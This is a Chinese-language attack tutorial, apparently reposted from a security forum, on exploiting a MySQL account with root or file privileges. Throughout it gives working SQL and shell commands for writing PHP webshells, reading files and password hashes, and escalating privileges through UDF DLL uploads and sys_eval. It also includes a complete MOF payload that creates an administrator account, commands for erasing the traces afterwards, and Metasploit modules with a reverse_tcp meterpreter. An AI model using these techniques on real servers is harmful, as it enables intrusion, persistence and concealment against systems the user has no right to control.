高权限下的Mysql利用总结
2021-06-19 16:07:52 Author: forum.90sec.com(查看原文) 阅读量:211 收藏

利用条件

  1. 用户拥有未降权 root 或 file 权限
  2. MySQL中的 secure_file_priv 参数不能为NULL状态。
  3. 知道网站目录的绝对路径

查看用户file权限

file权限是指是否可以对系统的文件进行读写操作,数据库用户拥有file权限才可以执行 select ... into outfile 等操作。

select user, file_priv from mysql.user;

secure_file_priv参数说明

这个参数用来限制数据导入和导出操作,例如限制 load data、select ... into outfile 语句和 load_file() 函数。此参数需要在 my.ini 文件中修改,修改后需要重启mysql服务。

通过 show variables like '%secure%'; 语句可以查看 secure_file_priv 参数。

如果这个参数没有值,不会限制任何导入导出操作。

secure_file_priv=

如果这个参数为NULL,会禁止导入导出操作。如果遇到以下情况的话,使用SQL语句中的outfile是无法成功的,但是写入日志的方法是可以成功的。

secure_file_priv=NULL

如果这个参数为一个路径,只容许再此路径下进行导入导出操作。(如果写入文件的路径不是参数给出的路径,会将文件写入mysql文件夹下的data文件夹下)

secure_file_priv='路径'

在 MySQL 5.5 之前 secure_file_priv 默认是空。 在 MySQL 5.5 之后 secure_file_priv 默认是NULL。

写入Webshell

写入的 webshell 最好使用16进制,防止 webshell 中存在特殊字符导致命令不能执行。

当可以使用union时

当我们可以控制写入文件内容及文件保存路径时,我们就可以利用一下语句上传webshell

union select "Webshell" into outfile "web目录"; union select "Webshell" into dumpfile "Web目录";

补充: select ... into outfile 命令本身用于导出表,所以也可以利用表中的字段写入Webshell

select 写入Webshell的字段 from 表名 into outfile "Web目录";

利用日志写入Webshell

一般直接导出数据容易受到 secure_file_priv 的限制,这时就可以利用日志文件来写入 Webshell,在开启日志功能后,所有的查询语句都可以在日志文件中以可读的方式得到,但由于日志文件非常大,所以默认都是关闭的。

日志基本操作

  • 查看mysql日志文件的地址,及开启状态

show variables like '%general%';

  • 开启关闭日志

set global general_log = on; set global general_log = off;

  • 设置日志写入位置

set global general_log_file = '路径';

写入Webshell

基于log日志写入的方法其实是先将日志文件的导出目录修改为Web目录,然后利用日志文件记录的特点,将Webshell写入日志文件,这样Web目录下的日志文件就变成了Webshell。

  • 我们先设置日志文件的导出目录

    set global general_log_file='Web目录';

  • 然后执行一下语句写入Webshell

    select 'Webshell';

利用慢查询写入Webshell

开启慢查询日志,可以让MySQL记录下查询超过指定时间的语句,通过定位分析性能的瓶颈,才能更好的优化数据库系统的性能。

查看慢查询相关参数

show variables like '%slow';

long_query_time 查询超过多少秒记录
slow_query_log 慢查询开启状态
slow-query_log_file 慢查询日志存放位置

写入Webshell

set global slow_query_log=ON; 
set global slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php'; 
select '<?php phpinfo();?>' from mysql.db where sleep(10);

利用数据表的字段写入Webshell

Mysql数据库文件相关知识

Mysql中的数据库都对应存放在一个与数据库同名的文件夹中,文件夹的默认位置在Mysql根目录下的data文件夹中。在数据库文件中存在 frm 文件,每个数据库表对应一个同名的frm文件,frm文件中存储了数据表中的相关信息。

写入Webshell

在数据表中写入Webshell,然后包含 frm 文件。


拥有高权限 Mysql 用户,可以尝试读取目标网站目录中的敏感文件,系统用户名密码等。

load_file() 的作用是读取文件内容,并将文件内容以字符串的形式返回,这个函数会受到 secure_file_priv 权限限制。

select load_file('文件路径');


需要高权限用户

mysql <= 5.6 版本

select host, user, password from mysql.user;

密码加密方式:password_str = concat('*', sha1(unhex(sha1(password))))

mysql >= 5.7 版本

select host, user, authentication_string from mysql.user;


UDF提权

自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在MySQL中无法方便实现的功能,添加的函数都可以在SQL语句中调用,就像调用version()等函数一样方便。

准备动态链接数据库

在 MySQL >= 5.1 版本,必须把UDF的动态链接库文件放置于MySQl目录下的lib/plugin文件夹下才能创建自定义函数。

在Metasploit和sqlmap中自带了对应系统的动态链接库文件。

  • metasploit中UDF的动态链接库文件位置在 /usr/share/metasploit-framework/data/exploits/mysql/

    dll文件为windows下的动态链接文件
    so文件为linux下的动态链接文件

  • sqlmap中的UDF的动态链接库文件位置在 sqlmap根目录/data/udf/mysql

    sqlmap中自带的动态链接文件为了防止被误杀都经过了编码处理,不能直接使用,需要sqlmap自带的解码工具cloak.py来解码使用。

寻找plugin目录

UDF文件需要放到插件文件目录下,可以通过 show variables like '%plugin%'; 命令查找plugin文件路径。

如果不存在插件目录,可以通过NTFS交换数据流(ADS)创建plugin文件夹。

select xxxxx into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

在MySQL中通过ADS流创建文件夹成功率不高。

补充: 如果不知道MySQL路径,可以通过 select @@basedir; 命令查找。

将动态链接库写入plugin文件夹下

利用 into dumpfile 函数以十六进制形式写入数据(注意十六进制数据前需要加0x)

select 0x7f454c4602... into dumpfile 'D:/mysql/lib/plugin/udf.dll';

利用数据表分段写入

create table temp(data longblob); 
insert into temp values (0x6245678456265...); 
update temp set data = concat(data, 0x2352352345...); 
select data from temp into dumpfile "D:/mysql/lib/plugin/udf.dll"

利用 sqlmap 上传动态连接库,这种情况需要存在SQL注入,又因为GET有字节长度限制,所以一般POST注入才可以写入。

sqlmap -u 'http://ip/3306' --data="id=1" --file-write="lib_mysqludf_sys_64.so" --file-dest="mysql/lib/mysql/plugin/udf.dll"

创建自定义函数并调用命令

导入函数

create function sys_eval returns string soname 'udf.dll';

查看导入的函数

select * from mysql.func;

利用函数执行系统命令

select sys_eval('whoami');

删除自定义函数

drop function sys_eval;

动态连接库中的其他函数

sys_exec() // 用于执行系统命令 sys_get() // 用于获取系统变量

MOF提权

提权原理是 C:/Windows/system32/wbem/mof/ 目录下的mof文件每隔一段时间都会被系统执行,因为MOF里存在VBS脚本,所以可以利用VBS脚本来调用CMD执行系统命令。如果MySQL有权限操作mof目录,就可以执行任意命令。(MOF提权在Windows <= 2003的环境下成功率较高)

复现

上传mof文件执行命令

mof 脚本内容为:

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
	EventNamespace = "Root\\Cimv2"; 
	Name  = "filtP2"; 
	Query = "Select * From __InstanceModificationEvent " 
			"Where TargetInstance Isa \"Win32_LocalTime\" " 
			"And TargetInstance.Second = 5"; 
	QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
	Name = "consPCSV2"; 
	ScriptingEngine = "JScript"; 
	ScriptText = 
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker [email protected] /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
	Consumer   = $Consumer; 
	Filter = $EventFilter; 
};

核心 payload 为:
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker [email protected] /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

利用MySQL将mof文件导入 C:/Windows/system32/wbem/mof/ 目录下。

select 0x386256238542364 into dumpfile 'C://Windows//system32//wbem//mof//shell.mof';

执行成功后,shell.mof会出现在 C:/windows/system32/wbem/goog/ 目录下,否则出现在 C:/windows/system32/wbem/bad 目录下。

痕迹清除

因为每个一段时间会重新执行添加用户命令,所以想要清除痕迹要先暂时关闭 winmgmt 服务再删除相关mof文件,再删除用户才有效果。

停止 winmgmt 服务

net stop winmgmt

删除 Repository 文件

rmdir /s /q C:\Windows\system32\wbem\Repository\

删除 mof 文件

del C:\Windows\system32\wbem\mof\good\shell.mof /F /S

删除创建的用户

net user hacker /delete

重启 winmgmt 服务

net start winmgmt

MSF MOF提权

MSF里自带了MOF提权模块,使用方便可以做到自动清理痕迹。

use exploit/windows/mysql/mysql_mof 
set payload windows/meterpreter/reverse_tcp 
set rhost 192.168.0.1 
set username root set password root run

启动项提权

这种提权常用于windows环境下,当windows的启动项可以被MySQL写入时可以使用MySQL将自定义脚本导入到启动项中,这个脚本会在用户登录和开机的时候自动运行。

复现

在启动项里写入脚本,脚本支持vbs和exe类型,可以利用vbs执行cmd命令,也可以使用exe上线MSF或者CS。

启动项路径:
windows server 2003 启动项路径
中文系统 C:/Documents and Settings/Administrator/「开始」菜单/程序/启动 C:/Documents and Settings/All Users/「开始」菜单/程序/启动
英文系统 C:/Documents and Settings/Administrator/Start Menu/Programs/Startup C:/Documents and Settings/All Users/Start Menu/Programs/Startup

windows server 2008 启动项路径
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup
C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup

通过MySQL写入启动项

写入成功的时候就等待系统用户重新登录,登录成功的话,自定义脚本也就会被执行。

MSF启动项提权

use exploit/windows/mysql/mysql_start_up 
set rhost 192.168.0.4 
set username root set password root 
run 

MSF 会写入 exe 木马到启动项中,执行完成后开启监听会话,当目标系统重新登录的时候,MSF 就可以成功上线了。

注意: STARTUP_FOLDER配置需要配置对应系统的启动项路径。

文章如有错误之处,欢迎各位大佬指正@[email protected]


文章来源: https://forum.90sec.com/t/topic/1728/1
如有侵权请联系:admin#unsafe.sh